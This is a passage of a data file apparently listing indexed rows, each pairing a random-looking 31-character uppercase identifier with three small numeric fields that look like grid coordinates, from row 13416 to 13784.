+13416,34RNT0DFZZPD54IS7FNXEIK0HK1SCVX=,210,4,7 +13417,VVECZG6I6FFQ5I6M26R2UBA6ALLCV4C=,210,5,0 +13418,PALMSNANBANMM5BMPT4TX6ZPFDXG8HT=,210,5,1 +13419,N3VENKOJ9AWNFDDS0D254MD6HPUH1FS=,210,5,2 +13420,RSTTHQ79077GT1809BXU2EO446AD57Y=,210,5,3 +13421,9QQWSYFXNPPP7TACGOHRNQRFQD2GMMG=,210,5,4 +13422,SWSH5IL6GD31BND62DIK63WGPZQCLG9=,210,5,5 +13423,FI2CRCPH2I76OX8XQCT00PIUQXTI615=,210,5,6 +13425,S2VLOV1AQZMD691JL6Y5J265JUG268A=,210,6,0 +13426,J39J84FHWC4HXT8CD8346VJP5QEYPU3=,210,6,1 +13427,T8RTBOGPM807BGCE2KDHFHTRT8LQMGS=,210,6,2 +13428,JX3BTKC1XP8H5HHPKIIRTNS52AAZ0DZ=,210,6,3 +13429,TA6YVEX5B5FXVRCUCYYU8LX50IOKDBK=,210,6,4 +13431,54FFFL0T9IQI0BPSNU6577VR7GF9AQD=,210,6,6 +13432,KTTUNU4Z3CPH788XGGW94BXUGJL7HLA=,210,6,7 +13433,0K4I0BNUUKMGKKSAB3ECZEOBM2YRFGT=,210,7,0 +13434,DOZFBZFPV87JB7MWE8OWZB6SS4X9FY0=,210,7,1 +13435,CB27NU3R43OEU03EQCQL5CH2L3134FE=,210,7,2 +13436,T8DQ8BBJTA8WTBTF7WR0JWXSOZWRLV1=,210,7,3 +13437,UYU6KCJQECW139B5TD3G0SCW7381RJ0=,210,7,4 +13438,R1TEKO3REZ5VO8RQEIDBYAO2Q4TNPDD=,210,7,5 +13439,PYKUZVJMIQGTL3S93R5RSAWBMUJGS0A=,210,7,6 +13440,10VI60UVY0BBNL8QQGADMMELG7BI19R=,210,7,7 +13441,XEU6S1RRXH97DT9S2FG9892LX2KP005=,211,0,0 +13442,MGZQE5WIMMQE84XWVZOWVOV1XHPB0PQ=,211,0,1 +13443,F05ZB1DW438HI38UVZ2EJHTVVF8XOPC=,211,0,2 +13444,JY5PMDFA8TD1IXWL08N1BD6HFP0K9XT=,211,0,3 +13445,KISW6QOSJKTKIOMW2FYC4QAYVFU2C5P=,211,0,4 +13446,SI3DG0BSYU2FYOB1QBDCJRBC8UBUOIQ=,211,0,5 +13447,0KLFOVN2VFUNZRFUJ5P300ME9LG1XWC=,211,0,6 +13448,LD18YA5VDXQJUSVNWAJAV1MOLG4SFNW=,211,0,7 +13449,Y6PGOQ6TXHIR5EGP5XT2U720ZR6KTRQ=,211,1,0 +13450,Y7HZLFK5VI58EXVE6YZW8QU8MWCNHMR=,211,1,1 +13451,JL81WE1BTZ9DXULB3J0H7L41BTHTWVX=,211,1,2 +13452,D00C8TVMKVB9ODKWVOQUTW7GMFJOHU3=,211,1,3 +13453,NKLG23MSSY8IYU3J9NKEJ8J74QMNJSR=,211,1,4 +13454,JD1SOPU5SSYT3COE7NYYKY0H5PXD5SP=,211,1,5 +13455,7AAS207GTOD1DW0OBGKDPRYMZYRDZ9X=,211,1,6 +13456,TQ10FBWHZLQ5D0AUS5J65B10UPKA36V=,211,1,7 +13457,X4IUPYQQ6NCBWO59ZWJNLW4XW94MHIN=,211,2,0 +13458,65M9A3D5LOX8CH06I8BZAOSI60BHR91=,211,2,1 +13459,SFHMA68E3BHQ62YE0SWKW7OJN57CEKY=,211,2,2 +13460,D13L9Y46YO4M6VSTXJCP8APX5I89ULG=,211,2,3 +13461,TSGRTY40I916C53NCIXINDVU3COX6CN=,211,2,4 +13462,KUTAE09QT6FP58BV30W590WV9M3I1JW=,211,2,5 +13463,WY7XBWZXQQKCMJ1LAI43VSYD76ESN05=,211,2,6 +13464,LGZIZ9E7UJ21XL2FUK6CUXKL6JI241I=,211,2,7 +13465,ARV2J5KU8NII9U6FNX1AI808L1Q8CUK=,211,3,0 +13466,ALQMQ48P9S09H85J6IVA9EZA59CDYVV=,211,3,1 +13467,WGA5C3RV9SVU11ONR9IK6CPXXJEB32F=,211,3,2 +13468,C1J7WO9DHLNL36V52R6R5WTE9YNMIC6=,211,3,3 +13469,ID5TUCM6Z799UDPDPPB1FX1QFNAZY3K=,211,3,4 +13470,SO3LGL3FFFU6IKLDJ2ZJFITYZVPTGBI=,211,3,5 +13471,ZSQF2S1M50RBJ00FTXP9J5GFY4RTSPS=,211,3,6 +13472,BZPG1OPFV5WX8CQJIQD42BR73Z5YTDA=,211,3,7 +13473,7MU0CTAUW3BPD0D598X1B113G8ZN7V3=,211,4,0 +13474,PSHDY8WKYQHFO0MXNWYSM0SM04D3BR2=,211,4,1 +13475,VQV00SO290S1S6D9XPZAK34P31YUQ81=,211,4,2 +13476,TM6U0YMMS95GG5HFG8I2W4J7XQQUB1X=,211,4,3 +13477,5DSD9HQVJKEF3976IAI68ST2NJM9YUJ=,211,4,4 +13478,LX5FCYWJJDGX585I5Y11TB0LFHHLP0E=,211,4,5 +13479,8LU0SUTHBOSYGXOC7ECUDYDYSNZFU28=,211,4,6 +13480,TX1ASRNZNI9ZXF2VIGMI85XCSMWFC9O=,211,4,7 +13481,EWD16MNFSNCSX2K4PFRBR7H7WMS1ABV=,211,5,0 +13482,TYSYL6LXH67NEOHF25JIJEO8JHSC2SX=,211,5,1 +13483,0WK2AKGRVF8I5ZP45VXGD6AXDKJ97UU=,211,5,2 +13484,TDVT6UBKIO5GE42CG0AMIV1SCP2QRO0=,211,5,3 +13485,N7SG6HQWT7USHVUHD233M49HU31FXU2=,211,5,4 +13486,PAF4149WK9LHYC2DHDZQA9SJOY05LD0=,211,5,5 +13487,KLSZZWQN4S8XA3WGTJ14A0R57KVLXIY=,211,5,6 +13489,LO61J4RMJTN94RU3R63CFLLWTCE2FTY=,211,6,0 +13490,JN5EMR7WHSW3E7F4LL3U7BVXRHQ71DP=,211,6,1 +13491,JCRQEVZ1GAZOJ7GU8NPHETJF9M34JJ8=,211,6,2 +13492,5T4KBVLVYDLV87534QCWKGOKFWKEYX5=,211,6,3 +13493,WWAZ4QLJ482TLK8YNNMCYPWIILXZMQO=,211,6,4 +13494,ZR8QNL1TLPD8CVWT21PMU4ZKPXQ72SO=,211,6,5 +13495,LNNLXP19DMC7O8DD4467JWWWMI59T4P=,211,6,6 +13496,ZELV6RIVDQ87HQKLY2BO2H2XVCMALTF=,211,6,7 +13497,98P89VT2D4M4OQCR24QG0X0N3NSLIXB=,211,7,0 +13498,RY4V3X1Z2CTEHT2GB4FPDWF1THOJS95=,211,7,1 +13499,7PPRYGT42XT3SYTKN5MPHLW25GPOP1F=,211,7,2 +13500,DES3NW1ULURUNVRVPKGXC27XQUN8RU5=,211,7,3 +13501,E24CXCA99JN7O55LV3JJ5LICA2ALGLL=,211,7,4 +13502,YX8GQ0A27T23DS2JPUSBSYIAFO6IZ1Q=,211,7,5 +13503,6CHXL145T3EBOM69C9HCQ31L2G4MICQ=,211,7,6 +13504,QKUNQE03A6NWVCUTFITMOSNTLCR78W0=,211,7,7 +13505,RANLO1ZQ69D53WEPU6UMW1TSRZA6BH8=,212,0,0 +13506,CBETBJMGQ1TRALLBZA7XZQM3T60ZI3H=,212,0,1 +13507,6GEVKI0WDA8AOHUZB92YTUF38MNN0ZK=,212,0,2 +13508,IMPO0T2JYLBS0HXNKJ0QNVB785Q0T2F=,212,0,3 +13509,N8R5C63JOWO7MQ6GUBB0L477FS6ML1C=,212,0,4 +13510,AF8RUE0013G8QEQ0WGKYJCNP69ECIEU=,212,0,5 +13511,NKNFP071DWG1HGGQKX6MXOWN9OEM1N7=,212,0,6 +13512,0S3IL0TVYPCGE9H92RBXPBD9F13VEM8=,212,0,7 +13513,KUX0B7RHLSOBRCTZQE9FA2H6FKD8TZC=,212,1,0 +13514,V36YJSLOLLSG3XBOT5LQZFS7RA71IOP=,212,1,1 +13515,AXVSAWN5F57QBZXTPYCPTCO4N4T38JJ=,212,1,2 +13516,NSJNGIKL0JIAN9D5PH69NNI9BTG7687=,212,1,3 +13517,N8BA21RUB1BQYEAMBH933Q1VIRZH9X4=,212,1,4 +13518,6CUMKQ2N1RPVT21MYF4VPB4YHVM7OCL=,212,1,5 +13519,4YQAA3BCRI54M17F38ZOIILNWZCILR6=,212,1,6 +13520,UPATH0U5N3K9T89LSEYCN8BTIR7I2VT=,212,1,7 +13521,AFBFHSZ2PK213AO9LWMK4L45F2TQ5DV=,212,2,0 +13522,TNHJOM5RNC2G82WTE12940JLT575GB1=,212,2,1 +13523,MD7XI9ZGXRTUX9RTN3RBD2JI3KX71WG=,212,2,2 +13524,DGGCOUGSTD7CIISTSWC3X722R6S50WK=,212,2,3 +13525,PMU68PYB11IIMOR8O2Q0SK3ZFUR6UQ1=,212,2,4 +13526,GFN4YPH3FRAMI1GUNLPKDTM4VDDSGWO=,212,2,5 +13527,ELEP6DMIKOH9U5LUHDEESK8A5CG31NW=,212,2,6 +13528,XA8CNCV8OYRE76L27Z06RRRV9BNKM8Z=,212,2,7 +13529,HK1EHS3XEJW1GBXVL2KPD4EQLAOXMXX=,212,3,0 +13530,XPB1MIW7425G2VA7ATRH5NS1JN6UHST=,212,3,1 +13531,NB37RZJSV70PNGF9LQRDRVM6BJNE26G=,212,3,2 +13532,WRSLTDUH7Q34FEI1GSNMSCFM9DTK7ZZ=,212,3,3 +13533,HKTU573QDI5B3ZEUXB2ZGRBFFIIWADC=,212,3,4 +13534,1AWB568YHV8UC9F8Q6NBPEVNBG32ME8=,212,3,5 +13535,HB4O6Y3VF1ICVDXUFPMTEQAS7VKJOBX=,212,3,6 +13536,7YOY4WIB5FC2ZIYCL01J4Y9ZC58EKMA=,212,3,7 +13537,5HA0E6DK6KX7SZ9EIJ8NY2SFHE96E64=,212,4,0 +13538,HMDVA0TXBLSQ5SELBU1QYU1VC0FTPCH=,212,4,1 +13539,O44CR9FHFOMOFUBP7LKPEN3WDGJGTV9=,212,4,2 +13540,1ZZNNUDAB3HSCLKM3XOE8SDHC1MLB5A=,212,4,3 +13541,PRWPCCP8ND6CJPFYGLK3MRHRX6M67WX=,212,4,4 +13542,BJ7R55VBW2WM4M9E5EIAC3YTLDF7HY9=,212,4,5 +13543,Y20GEIFO067MPV09CF66CHETOXCU2HJ=,212,4,6 +13544,S1A5UNO9CWKL3R8CVJ1Y3U6PSGXSKKZ=,212,4,7 +13545,YAWRIYNO155LNJNACE7SVHYLO9W5DJ5=,212,5,0 +13546,JICKNGEBGTEU3UEXQ52Y6GISHUMM926=,212,5,1 +13547,FRE9RHXSFBM02OWN7SZ4LDFPVEZ7VGO=,212,5,2 +13548,7AV0NV3B3PG8KIKAIVY2KFIP5SUG9QT=,212,5,3 +13549,NSW7WQY7IFSKIY7DT911WS1H4LOKPPS=,212,5,4 +13550,Q6E9Y3KBUVDIQ0YD4K0VIAQA79NICPE=,212,5,5 +13551,R9FKOKHMMNT1KRQLM9DH98E2EWG86SO=,212,5,6 +13553,UOMIJQ4B3GYCS7DBWW73VT0DRYNJ96K=,212,6,0 +13554,3IJNYR3NG29KQVOAFGL2LEDAA6RCX05=,212,6,1 +13555,AUAY5EYL7TC991MEYEWZCOBCP4F742V=,212,6,2 +13556,L1TYGV73REMSP3VQ6I22EP692J6D3LW=,212,6,3 +13557,9CJA6VSLH9N41B2W78XXDCB8D55COVB=,212,6,4 +13558,163YXZJ6SBGHSOGPCJT6FZ7BC7JHO5F=,212,6,5 +13559,YVSDN122GWR1Y4A2XX6X5D6TP7M21AQ=,212,6,6 +13560,CX8K2BN9UGN83R10FOI1NOP4QQHF3BT=,212,6,7 +13561,K77KGKM81E040MEMLJS6Y5C3K7OHKJ2=,212,7,0 +13562,3FF47BJGW1MIKA18X51N7XMH1KGAIZJ=,212,7,1 +13563,6MAZLHFGFIVQWJB331C4WQW61F4HPP2=,212,7,2 +13564,PABU6WZFFISNN7XUIW4E6M3W3TMVC7O=,212,7,3 +13565,2376EY71UC28MEQHNW3XGO8XX9WTLPP=,212,7,4 +13566,2SR5EIXG2OP4NISVG7LFCS8UVF5R0LG=,212,7,5 +13567,MH5V950EG671YCTG9KMZL8CKW4J90TB=,212,7,6 +13568,L0ACMEC0X120DCT81GQ7VH8NQEHR3PU=,212,7,7 +13569,5876TOK5F0DKWJ2PRHN461530KB6WMC=,213,0,0 +13570,H3KG5R3FTYBBBKQ9K9ZPRSDGACUC476=,213,0,1 +13571,EBCAM0ZMNA0GFWJ5BAPCXR2WZKIP60T=,213,0,2 +13572,VR0UVAHCT8JN2BBHFC8SAVC9KCXK531=,213,0,3 +13573,5296JJ9HCJ3S683B2GYZ6OJ32JIJC6R=,213,0,4 +13574,I029E5D2YLD3QYPA0Z7N73EPZHRAZSN=,213,0,5 +13575,1DNCB8C5DU5AF6IHGBZN8X8OFMKF3OJ=,213,0,6 +13576,Y4FID852W465AOTKS7PZ9I7PYE0XQOH=,213,0,7 +13577,2R1RI88WG9BHD2LVU6OGN0TR63LB1HH=,213,1,0 +13578,XCKLWZ1RYBK1GDZDBMGIZ2DWANLI6L6=,213,1,1 +13579,HQ0W0NTTS6FBEP9KN6VJM97VQLC9W6O=,213,1,2 +13580,WOB314H728QPORXO3OG0N7GUDV1967Z=,213,1,3 +13581,EGYJ25UBZ110SC6CA9YQWFW1OVG3922=,213,1,4 +13582,GMMJ2NHMRGOOX2KNZXPOZKL259O450O=,213,1,5 +13583,8IC0B1EAIIAJ64MQ6R29WENBBQ2E5SI=,213,1,6 +13584,T6O94U5LJGVQF15HAPA1DEK2UH7SQ2V=,213,1,7 +13585,BE6LWBPKBLL4GMKKD8V2HK51MANSQ1L=,213,2,0 +13586,LFD6L491YO212XR6FJLO6R6D4MKUBJH=,213,2,1 +13587,FX391055JUMMCBBAAWZG1X9K2I0QDFK=,213,2,2 +13588,ORUALS9R9EPS0LMO0HS0X4EWAOYX88I=,213,2,3 +13589,AD38E6SFY1QGUVBKD7AS2PTQCWOHNO8=,213,2,4 +13590,ZN9BVXEULJPLW9P2A21AJI25MQOS7ZA=,213,2,5 +13591,5FVDY24F1WU6HHF83EF9WIO212FX38Y=,213,2,6 +13592,AW47SUQU4YOK7O5WL3C30767O0RM64L=,213,2,7 +13593,V8K1RES0TZVAWCY9G7TFLXM3TZMIGEG=,213,3,0 +13594,N34KNDDW4VLA6KN2I25PPN47W9UN7QB=,213,3,1 +13595,LZNG8FIZ3MVT3M2WN7KVY8WQ5KGY9B4=,213,3,2 +13596,LCNBCKR2B43I3J8CNUKXT7JBC3IZ3PA=,213,3,3 +13597,WD8DKS8LWY8FZRFOF2TQLPFUR3RBBQ6=,213,3,4 +13598,QJI2M73Q6TW4OUQ9NL70QDWW0Z5TDZ9=,213,3,5 +13599,V417YUYE7V2J1B8U89IYNEO5OV2YUBF=,213,3,6 +13600,ATFSUH8R371AMKWIWXB8SFFGCY5O204=,213,3,7 +13601,ARFRQRTFQ10CP4V528FSELCAIIM4W1D=,213,4,0 +13602,35QBIW45GFXJQ8VRC8LJ8EB4EGKIXEH=,213,4,1 +13603,HS8Y6R11E165YMX0GVRWA5UQ55RAXTE=,213,4,2 +13604,MSR5ED87SUQMGB1YVP1M822UML4DTVS=,213,4,3 +13605,3J4Z0QE67IXSXLYUW887CVJYLN3UGML=,213,4,4 +13606,KFQ3FD0P7YJKP6R3VFTWU494XUP2R4T=,213,4,5 +13607,RRV72QVNMQ4K3S5CE6WDSJ1NSTWXGDK=,213,4,6 +13608,SG7VHLDRHJL7JSQQNGLMV8JIZANEUJ6=,213,4,7 +13609,3QGTSXQBG5VHJ0AUCTSEEKY7ABFZGQB=,213,5,0 +13610,GNGP6VB4IDD41U58ABIS8DVYQDE43YC=,213,5,1 +13611,D9FDQ2A1S2XA2H1WKVV3J5JBXI1JON1=,213,5,2 +13612,4HX125ABJK0HH6W5BTH0NY5V7LOEHIU=,213,5,3 +13613,JMNBLS5189SEYPVE2H6D1BJLO4UV8CB=,213,5,4 +13614,E0O3LTL3K8K3U7R3JUHCQSN63X0PZUT=,213,5,5 +13615,2EFURDN8QKIAQ98XZI8J1D7BTDYXA5E=,213,5,6 +13617,NU3MU4HWB6I2QVF614FXUQFCK0VLACV=,213,6,0 +13618,YMPQMHGK7TQ3YV5OG373JC07IF8CTRQ=,213,6,1 +13619,4XHLE1XZAHL6IB0CGZ2YQG3ZDGHPGAX=,213,6,2 +13620,QSWSSQ44B02JUPHH6HNJMX9EKKNP40B=,213,6,3 +13621,8B34CG6ZWDH9J3TNJP9TF200I9NWHQG=,213,6,4 +13622,IUAKP5V06QPWSIQO9XNJNNBHM7WSUBI=,213,6,5 +13623,SCP03B1XWJNA5SBEJ2YGCWGY9YRY3C1=,213,6,6 +13624,673B9KN5N76XEADK6FVTUDFW95CQDIJ=,213,6,7 +13625,G6AZ4LSE77K7ZCKGBR1AGVD184R30K5=,213,7,0 +13626,P9PMCOMN8AJDHN4TK5TLAR5EQATG5J4=,213,7,1 +13627,ETHJO89PKW2V4STL6QEZMZ1QQL7MCU1=,213,7,2 +13628,5IB02OK4473BJ9AXY8ZO85NZDZS8XY7=,213,7,3 +13629,3ZB7EZKCRM9YANW0AEO4US70XZIC94F=,213,7,4 +13630,X8X1VKRTZ7NPIOQIEESK9GV3BAS9ISO=,213,7,5 +13631,ZVNWM4E54KPVX7TLSBUG9X3PIKCU228=,213,7,6 +13632,92LXGNALG3C9RMMF827N05698QVMMKI=,213,7,7 +13633,AOUF8X67Q8YCRCQSS8G5MCXHJS57AP9=,214,0,0 +13634,SL7ETZXLH36MMHXXLNA7JNFG0KRHA03=,214,0,1 +13635,QKNQAXL7WMG54OCG0YV7MDLXUPE9S10=,214,0,2 +13636,0AVKVFV87AGP7TAVMKEDNXSWHP6HFRK=,214,0,3 +13637,P0QGDQ1RVWD5HYPUXHBLAHB1XUT947F=,214,0,4 +13638,MZ952UADQK6XOE872AQMIIAEQQ31GFG=,214,0,5 +13639,BIW87V3AIILISGRMZ35KHEN3HRL7M5K=,214,0,6 +13640,YIEQ025PT9VGTGZT4U3BZ2I61NMQP5G=,214,0,7 +13641,DFKKHN4J30P7SYF8FEKIAMGNELZ7DM8=,214,1,0 +13642,IWNN43JGHNUROV0F3KGM1D92T1SPXJR=,214,1,1 +13643,ASS58WXS7IDSKFP0Q8IV1T4NJLC4D8I=,214,1,2 +13644,IDPB01ZAR22TWSUGW2HR8IO8PF5HDTN=,214,1,3 +13645,LBDPS8PLUD3P6XVSL0JYZ2RRBMNNSPN=,214,1,4 +13646,4CA55FCTA8YH377ZNEZGC2XZIF2NWYV=,214,1,5 +13647,2UH3J85CKM5VL0OK604KLRTSPZ1XOMB=,214,1,6 +13648,OMNYZI26LNDB5OWO25808KOCTVSCRQ0=,214,1,7 +13649,ORSGPZB2OWIYL2HFPQCL7ESCMBGZA0J=,214,2,0 +13650,UYWX639XVB4U67V5UVFK4VLJDIH44OE=,214,2,1 +13651,0DE3383DXAOHMH7SA3BB8EKMY39L204=,214,2,2 +13652,GEI8LPMJO8HSP3US61SQ3XSKZVSVR35=,214,2,3 +13653,IBTZS03NBK3FH61V0COL6U4FTX5H8XW=,214,2,4 +13654,1PIR2MXNVAP3R9DRTPJWDVN87LVEC92=,214,2,5 +13655,3CHV5F3MWFAM3BNVNGB39LF75T1G94F=,214,2,6 +13656,JD642WKCNENXYT13MU1PGEF4YWYJ2XV=,214,2,7 +13657,IAVPG6ZECIKUUABIBIT0J97ST37IINL=,214,3,0 +13658,X6HELXKF81XXAO1VDKPX30A44URTJ61=,214,3,1 +13659,SVL1T0K9300UVXOHIXCZ6JNQM8GSNFW=,214,3,2 +13660,VEAECV7C7LVAW7XHJEVLPSO2PW0PX6Z=,214,3,3 +13661,T7STIFFRWW9ZJF2MS50FK4SQS0KBN3F=,214,3,4 +13662,8JCNKMSUI8GQ8C0L6Z12D6LOWWI2DL0=,214,3,5 +13663,TIPEH95QLH8KTMDUAQH7JYUNUMHJPEM=,214,3,6 +13664,L1XOH8R8AO58OXKPEU5F3JKHUA389YX=,214,3,7 +13665,IWPL3R5XZFQJZFVSH9LSZT4IWHGCUY9=,214,4,0 +13666,9H96OKVMYRFANSP28IS545IOU9RB47U=,214,4,1 +13667,A5CZ8XZHIBFYC5ATAKLK3LHIVCTRT92=,214,4,2 +13668,VPX8UMZ1DLYJDI7KGQM3OJOI45ADU3Z=,214,4,3 +13669,EE501UOVT6DM89PTEUMFGUQ9CA153HV=,214,4,4 +13670,KBKFIEVLIW6PKP99U8AVEHDEFQXIGZW=,214,4,5 +13671,HJBH1SFHNDTZSEGC5ZYADWDZSR778QM=,214,4,6 +13672,EVVKMS8E2NP3L4TASPX6ITUXUFQKGBD=,214,4,7 +13673,7BFY7E9G7QG4AGYNNX21SIF2QKVRLWJ=,214,5,0 +13674,44KYW5ZSZYSVDFJMPLYTTT25EQAABAF=,214,5,1 +13675,OQC5TLFMGM3S5LZUTI0BRTTDM704BT9=,214,5,2 +13676,B884YEPJR0V4P446B7KL8S93W77G4MT=,214,5,3 +13677,SYMTFAJYR7U0SZW8P852WOZMCS9MKSK=,214,5,4 +13678,0S1AELIY2N6K4HTUNK100SYF1OPPY3R=,214,5,5 +13679,8I0527E6GNB275UVLBESKOBLJHCVSVT=,214,5,6 +13681,7Q10CXKP29SXKM719VWCY1AXH5G8828=,214,6,0 +13682,V99AJA9EV6D0XT2VKQSZQUVVTUS6LSA=,214,6,1 +13683,5DBAYZ3C4KI4AEYOIEG18V9XYWOONPB=,214,6,2 +13684,RF4E50R3HOMU17LCML4G50ME3MPO6BD=,214,6,3 +13685,5PV3DRCKHY929RCKBE1EIX1SI5D7YFL=,214,6,4 +13686,MKRPL1FLHCHWL8TCLDO7WVOH7MXRKZQ=,214,6,5 +13687,1HCMJ1M2JXSDK497UMZT308MJQYV8E1=,214,6,6 +13688,TSGY27JYX5PQ1UMARI62AMZBQPG4ILE=,214,6,7 +13689,C4O4IWGXGDI3OWQW6ZWOZEFGUEJZ0Q9=,214,7,0 +13690,BMOZ49NL0LM5YLB7W4ED858DO0D3RRF=,214,7,1 +13691,V98OB5FZH1RFG6O8P4XVQYK8AAOHJ3W=,214,7,2 +13692,S1QBJNV3QSQBYR9G7LMIO7YT32ED8PD=,214,7,3 +13693,7WIANTQTJW4JREIC3CYDH3HLMSFKGDP=,214,7,4 +13694,05Z7CR6G16URBDSODZDJABIAENM58NX=,214,7,5 +13695,L3GST8G7L17QNF8JYFQAWIZL8W2WCC6=,214,7,6 +13696,KIRV1Y3KBB3KEWUYLWTE1JXPZEO4HD0=,214,7,7 +13697,DUARVRBITNKG6SVUZIOET9HSNNIVG7R=,215,0,0 +13698,MPDYSSX045N7MQ7ACD1B0R11E374PQJ=,215,0,1 +13699,SHDTWOM6ENFJSA0TU0H8WMOULUWUWSZ=,215,0,2 +13700,5FV4J2ZYRJL34DO8VBYLUSY42OTJ3RX=,215,0,3 +13701,5TXNFKSUA3EGXJI7PN0Z1D14RHYEAJ0=,215,0,4 +13702,1LBN8711WJ43HKP9DQ2UY5T3LVM2PPA=,215,0,5 +13703,0SCHS3Y3RMVW9DKB13NGCHEPZ3MALIK=,215,0,6 +13704,3MTM87G91T4JQ0OFCBJI3OLM6OYLJNI=,215,0,7 +13705,VFP17XRVSX9CFHQQRSS8X1DKN8QORGH=,215,1,0 +13706,9ZXEJL87OGY4RG75DI8XVXSJ7SZWGGQ=,215,1,1 +13707,83XNG3NTSDXNRWDFBUZY6O3PPF38YNO=,215,1,2 +13708,SLSLR1E53BRWMQBTGRY6SHPYJCH7Y5L=,215,1,3 +13709,IMZLDC7GA6CMLJ8LW8J20674YQBX33Y=,215,1,4 +13710,AGDUWFWMAZY4IETLO3XOBQWF5F881H6=,215,1,5 +13711,JW425RQR0UGQB7LHT4SIYUJOG5AS6DT=,215,1,6 +13712,WECXV9AB2IF1J1OUFNZ191SVLLMJEAX=,215,1,7 +13713,FWIOTQHW4NYBXPP9RPMG5R5RLVEG76N=,215,2,0 +13714,Y6GB2ACXFJ8V3KE52GIEN9TZBHH6DEO=,215,2,1 +13715,QZPMD41GROZLJT171C3VMK916RNSB3O=,215,2,2 +13716,T7FGUL3EIULYWYT3EWOB6SJL4J7SOUK=,215,2,3 +13717,06LOBSLSA4PTVDGDVBF6UCCI4XY33Z8=,215,2,4 +13718,RI4PA7BS2JST5ULLVPCBK5OFRZA8ZAN=,215,2,5 +13719,DBXMLZB7X9YA4JQXEPG67675I7DEFDU=,215,2,6 +13720,O1KTXQSI49HF016ARMJL0BOI7X5WH51=,215,2,7 +13721,30VOXZKLZLIH1HY84CTKMGS0336AZN9=,215,3,0 +13722,USFHB99TQS0LOMNWNH2DEAVEZFIE4AA=,215,3,1 +13723,ATIEA08XKB5QV4RJEMMMCGLQN5QMJYR=,215,3,2 +13724,1O5FYNS9WUJB6A76HXJFAG12RPDM91E=,215,3,3 +13725,JNZTO1CMDOM3JC0LTRPIZKAO7DEM3P8=,215,3,4 +13726,ZPW1R1WMLER07JH46HGJ1GI6S88WGPX=,215,3,5 +13727,L97VJRXYO70RLMBX2LQSI8ARC87YDLQ=,215,3,6 +13728,AP1RFA9BAP9B7JEZLJYCFFAILQ72FHJ=,215,3,7 +13729,TOXLQG3LI9AZQ1QU6OOFP6G2E5Y2ZU0=,215,4,0 +13730,RFQXKZ9SC5PE6QMMMUQUL2YGO5FFA14=,215,4,1 +13731,0INPOBGKHNO2PPD4FOEVO4U7BDY6KFK=,215,4,2 +13732,VBD9RQ4RT4Y8DX3KJA7SNSJCQKKKMYN=,215,4,3 +13733,RM9GFDTCF6ATDWDBUATPUZC3CA35ZQ5=,215,4,4 +13734,GWFFX3X88P1DND4MK76X14K4EIOMJRI=,215,4,5 +13735,WEZLRU1P9OXU3YSWNFMQ4U15P7PR59H=,215,4,6 +13736,E41G83N1H04PN0XGN7YA584796V002S=,215,4,7 +13737,GS53AFL0C0ZQ4Z4UAYK04OGIBKO97JP=,215,5,0 +13738,BIE4X9JICAH5BOYG4DNNX91XKK3B7MA=,215,5,1 +13739,MQYNJ6X0YLC4WNYK5095WQRRIC9WIZ7=,215,5,2 +13740,YAP7JBZWJC24RZ1ULCYBD7CLUIL1NFC=,215,5,3 +13741,QMBDGCYXG634RF0MFOPURND27U9GHVV=,215,5,4 +13742,RPZQ6ELV74475PN7SRPELLQ5Q3RB9PK=,215,5,5 +13743,B3H5JR094SI4BJOUEF4TD29GELFJA55=,215,5,6 +13745,05HWVLM6WX7SJVQ2SPTA51C6Q1NIFM9=,215,6,0 +13746,AG33N112QFI9EP3EIZUC3HP5BLFOYZU=,215,6,1 +13747,UY8G1A7Q9XA29EC6L5VXGZUEPF3GJ3N=,215,6,2 +13748,DY7OGO6SCY8FRRCD1IXU7O3E8VDN8EQ=,215,6,3 +13749,TLQHXZOB6HFIXIHPTSFS2VTCIOQHMER=,215,6,4 +13750,Z84NRTS94WDJEWA0NYBLQPB8QO5DVCZ=,215,6,5 +13751,41LLUBIUT79Q5SJPSEK2VQD56U4GF62=,215,6,6 +13752,W95V9A06RT7N9P5SQETQR3LD8987KME=,215,6,7 +13753,3S31TZZD1TW869VCUD2GFO8ZR2K99GQ=,215,7,0 +13754,ZZZCGTVJP6V32GRBEIGZZ05F3FSBS4L=,215,7,1 +13755,2MOY7WTX3F4JEMGTQYO97CEJHADCG8H=,215,7,2 +13756,X4BN2A6LLL4BR0CKZKEBJODKUHBJJI3=,215,7,3 +13757,QRBQVN2EQOSYWWPMAPZO78FEVFJPZQD=,215,7,4 +13758,5K637SVF39BOKLWE19731O8535R2YII=,215,7,5 +13759,PTV2K1IMAAHTDB00D0P8Y5RYCCABCPO=,215,7,6 +13760,5RU77I853OU99ZBJKMOBO989E1QSQY0=,215,7,7 +13761,W21BIPP6NA9JQ29K0A4OVORQC9KOW5R=,216,0,0 +13762,RWLXJBPN7LPNIGMI6YTRCM2F753QEU6=,216,0,1 +13763,3MO0JNLZZMUZUDJTKGEWMBPF1WCN3TG=,216,0,2 +13764,JCFIK9LW5S9H68P4SAKPH7F3H5PJSY6=,216,0,3 +13765,Q6T0IMGU9V5LELAD60GR8JRYNWO9RM3=,216,0,4 +13766,CAOQ1SZOG7AMQRDPQW5Z1HFN5OK2V8J=,216,0,5 +13767,6AFCM65G84WP7E16XBG15JH9QM8AXK5=,216,0,6 +13768,0DW8PSKEDC6R6ZIJ894OCCOU20RVIR9=,216,0,7 +13769,MYCUK5PPT45EXV5NRRTTZ3DV2X4L5SB=,216,1,0 +13770,5ORI8AUEBM7HX8OKMNW2TOU9PSJ7RBD=,216,1,1 +13771,UL4SA65WG7N7UI4HX7763A5UJCQ2YSI=,216,1,2 +13772,QDHTQB9WVYN7DBHI30CY1G0D4U2BU0K=,216,1,3 +13773,4KL60JWGX5HBSJWZ6L5SPGXQ2XY20UY=,216,1,4 +13774,8JIZOIBC9U7TL749W97U5DVLFL1QY3I=,216,1,5 +13775,NPLDNRCDT9N0LX9X85RLW8HIZRSCV0F=,216,1,6 +13776,KOYB5MFDL62FNMXU8IY7ZJB01RONSZT=,216,1,7 +13777,LRMNIO9QMVHW7NTTNKD3CQ67TZ3JBNG=,216,2,0 +13778,QAXYYNNFDTPMDGJXWV0YCP0P8EBIQ0U=,216,2,1 +13779,WD2H68TMU458R5SLZE7DEANIYJYBKH5=,216,2,2 +13780,2Y8D1ME9H7IIRFTESP6XFGAZJH1D0XU=,216,2,3 +13781,AI365IFZE3I9PR22Y5XHCC6ZURY5S5X=,216,2,4 +13782,OF7VPVWS2ZUZ9OTJT24VTJ3GNJ6R4AU=,216,2,5 +13783,GWLXXDVTFXJNSZB7QRBMEPPGL7TMWTX=,216,2,6 +13784,BRNHRB4NBGQKZKR62PQPQBYJOKCE1FS=,216,2,7 